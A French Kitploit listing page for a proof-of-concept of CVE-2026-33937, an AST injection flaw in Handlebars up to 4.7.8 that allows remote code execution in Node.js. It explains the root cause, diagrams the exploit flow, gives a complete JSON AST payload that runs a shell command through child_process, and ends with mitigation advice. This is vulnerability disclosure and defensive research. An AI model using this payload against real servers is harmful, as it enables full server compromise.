Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-33937 — Preuve de concept d'exploitation pour CVE-2026-33937, une vulnérabilité d'injection AST dans Handlebars conduisant à une exécution de code à distance dans Node.js. Démontre des charges utiles AST conçues et fournit des recommandations d'atténuation. | Kitploit
Outils/GitHubGitHub/dinhvaren/cve-2026-33937
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebDéveloppement de Charges Utiles
GitHubdinhvaren/cve-2026-33937

cve-2026-33937

Preuve de concept d'exploitation pour CVE-2026-33937, une vulnérabilité d'injection AST dans Handlebars conduisant à une exécution de code à distance dans Node.js. Démontre des charges utiles AST conçues et fournit des recommandations d'atténuation.

Voir le dépôt
il y a 3 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33937 - Preuve de concept (PoC) d'exploitation RCE Handlebars

Description

CVE-2026-33937 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Handlebars, causée par une gestion non sécurisée des entrées d'arbre de syntaxe abstraite (AST).

La vulnérabilité permet aux attaquants d'injecter du code JavaScript arbitraire en fournissant un objet AST spécialement conçu à Handlebars.compile().

Cause racine

Handlebars.compile() accepte à la fois :

  • Une chaîne de modèle
  • Un objet AST pré-analysé

Lorsqu'un objet AST est fourni, la phase d'analyse est ignorée.

À l'intérieur :

root@kitploit:~

lib/handlebars/compiler/javascript-compiler.js

La fonction :

root@kitploit:~
NumberLiteral(number) {
  this.pushStackLiteral(number.value);
}

insère directement number.value dans le code JavaScript généré , ce qui entraîne une injection de code.

sans assainissement ni échappement

Impact

  • Exécution de code à distance (RCE)
  • Compromission totale du serveur
  • Exécution de JavaScript arbitraire dans l'environnement Node.js

Flux d'exploitation

root@kitploit:~
Attaquant → AST spécialement conçu (JSON)
        │
        ▼
Handlebars.compile()
        │
        ▼
Compiler.compile()
        │
        ▼
JavaScriptCompiler (injection NumberLiteral)
        │
        ▼
Génération de code
        │
        ▼
new Function(...) / eval()
        │
        ▼
       RCE

Preuve de concept (PoC)

root@kitploit:~
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "data": false,
        "depth": 0,
        "parts": ["lookup"],
        "original": "lookup",
        "loc": null
      },
      "params": [
        {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": [],
          "original": "this",
          "loc": null
        },
        {
          "type": "NumberLiteral",
          "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
          "original": 1,
          "loc": null
        }
      ],
      "escaped": true,
      "strip": { "open": false, "close": false },
      "loc": null
    }
  ],
  "strip": {},
  "loc": null
}

Versions concernées

  • Handlebars <= 4.7.8

Atténuation

  • Ne pas autoriser les entrées AST non fiables
  • Valider et assainir toutes les entrées de modèles
  • Mettre à niveau vers la version corrigée de Handlebars

Références

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-33937
Télécharger l’outil